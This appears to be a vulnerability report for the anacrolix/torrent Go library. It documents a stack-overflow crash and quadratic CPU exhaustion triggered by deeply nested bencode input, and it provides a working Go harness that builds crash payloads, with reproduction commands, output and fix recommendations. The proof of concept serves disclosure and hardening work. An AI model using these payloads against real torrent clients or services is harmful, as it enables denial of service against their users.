Details
Reproduction Steps
All runs are local-only within the test host; nothing contacts a network.
Environment and single harness
The harness is a single Go program (go test-style) that builds the malicious payload, then decodes it through the same public API the library uses. It reproduces both defects. Set up a temp module and run the two tests separately (Defect 1 crashes the process, so the two defects cannot share one test run):
go mod init torrent_recursion_dos
go mod edit -require github.com/anacrolix/[email protected]
go mod edit -replace github.com/anacrolix/torrent=/path/to/your/checkout
go test -run TestDefect1_StackOverflow -v .
go test -run TestDefect2_CPUExhaustion -v .
Harness (torrent_recursion_dos_test.go, placed in a temp module that imports the local clone):
package torrent_recursion_dos
import (
"bytes"
"fmt"
"os"
"testing"
"github.com/anacrolix/torrent/bencode"
"github.com/anacrolix/torrent/metainfo"
)
// buildInfo loops a list (l ... l e ... e) nested `depth` levels, wrapped in a
// valid .torrent: { "info": <that list> }.
func buildInfo(depth int, mode byte) []byte {
var b bytes.Buffer
b.WriteString("d4:infod")
for i := 0; i < depth; i++ {
b.WriteByte(mode) // 'l' for a nested list
}
for i := 0; i < depth; i++ {
b.WriteByte('e')
}
b.WriteString("ee")
return b.Bytes()
}
// buildV2Info builds a v2 info dict whose "file tree" nests `depth` single-key
// dicts around a valid 32-byte-pieces-root file leaf.
func buildV2Info(depth int) []byte {
leaf := map[string]interface{}{
"": map[string]interface{}{
"length": 5,
"pieces root": string(bytes.Repeat([]byte{'A'}, 32)),
},
}
node := leaf
for i := 0; i < depth; i++ {
node = map[string]interface{}{"a": node}
}
info := map[string]interface{}{
"meta version": 2, "piece length": 32768, "file tree": node,
}
out, _ := bencode.Marshal(info)
return out
}
// Defect 1: metainfo.Load on a .torrent with a deeply nested info list
// derives a fatal `goroutine stack exceeds 1000000000-byte limit`.
func TestDefect1_StackOverflow(t *testing.T) {
depth := 4_000_000 // ~8 MB; adjust down if the runtime stack cap differs
in := buildInfo(depth, 'l')
if len(os.Getenv("SKIP_CRASH")) == 0 {
// Decodes into MetaInfo; InfoBytes is a bencode.Bytes unmarshaler, so
// this drives readOneValue recursion. Crashes the process.
_, err := metainfo.Load(bytes.NewReader(in))
_ = err
}
fmt.Printf("[defect1] decoded depth=%d without crashing\n", depth)
}
// Defect 2: decoding a v2 info dict with a deep file tree is CPU-quadratic.
func TestDefect2_CPUExhaustion(t *testing.T) {
depth := 30_000 // ~0.2 MB; ~66 s on this machine
src := buildV2Info(depth)
var info metainfo.Info
if err := bencode.Unmarshal(src, &info); err != nil {
t.Fatal(err)
}
fmt.Println("[defect2] parsed deep v2 file tree")
}
Observations with the pinned commit (Go 1.26, laptop):
# TestDefect1 - process aborts, unrecoverable:
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
[exit status 2]
# TestDefect2 - wall-clock parse time (single-threaded):
depth=30_000 => ~66 s
depth=60_000 => >90 s (timeout)
To reproduce defect 1 from a saved file instead of the in-memory harness, generate the payload and open it with any of the shipped tools or the metainfo.Load API. The payload is produced inline by the Go harness above; equivalently, emit the same 8,000,010 bytes as d4:infod + 4,000,000 l + 4,000,000 e + ee:
./cmd/torrent -seed -metainfo ./crash.torrent # crashes
The payload is a single static file; it performs no network I/O, writes nothing, and is a plain non-destructive crash reproducer (a harness, not a weapon).
Recommendations
- Add a nesting-depth limit to the decoder (recommended, fixes both defects). Thread a depth counter through
parseValue/parseDict/parseList/parseValueInterface/parseListInterface/parseDictInterface/readOneValue, and return aSyntaxErrorwhen it exceeds a sane bound (e.g. 64). Forward-compatibly, expose it onDecoderlike the existingMaxStrLen(bencode/decode.go:21-32). 2. Make `readOneValue` length-aware. Apply the sameMaxStrLenbound to theio.CopyN(&d.buf, d.r, length)atbencode/decode.go:564instead of trusting the raw length field, so oversized bulk fields fail asSyntaxErrorinstead of being buffered. 3. Break the O(n²) in `FileTree.UnmarshalBencode`. Parse the file tree with an explicit, depth-bounded iterative walk (or a single pass over the raw value) instead of re-runningbencode.Unmarshalon every subtree level. The depth bound from (1) already arrests the quadratic growth. 4. Convert fatal overflow into a recoverable error. Guarantee that no input can grow the goroutine stack beyond the runtime limit; the depth bound in (1) achieves this. Do not rely onrecover()- a stack overflow isfataland unrecoverable in Go. 5. Fuzz with depth in mind. Add a fuzz seed / corpus that includes deeply nestedd/lvalues and assert both that decoding returns an error (not a crash) and that no level trips the depth limit.
References
- Source (pinned):
https://github.com/anacrolix/torrent @ 4ad31c5170787215c51c6ddaa54abc06b623c11c - Unbounded recursion:
bencode/decode.go:546-549,bencode/decode.go:591 - File-tree recursion:
metainfo/file-tree.go:42-49 - Public entry points:
metainfo/metainfo.go:35-50,client.go:1776,torrent.go:638 - Missing
MaxStrLenin bulk read:bencode/decode.go:564 - Metadata size cap (remote reachability):
global.go:18, reassembly calltorrent.go:1874 - Prior hardening in this codebase (unrelated to this class, recorded for completeness):
- v2 pieces-root panic fix: commit
7218a979("validate v2 file tree pieces root length before torrent setup"), present at the pinned commit viamisc.go:92->file-tree.go:164. - Path-traversal safeguards in storage (
storage/file-paths.go:32isSubFilepath,storage/safe-path.go:16ToSafeFilePath) - inspected and found to hold (not the issue here). - No published advisory found: OSV.dev and NVD return no records for the package (
github.com/anacrolix/torrent, purlpkg:golang/github.com/anacrolix/torrent); the Go ecosystem advisory database lists none.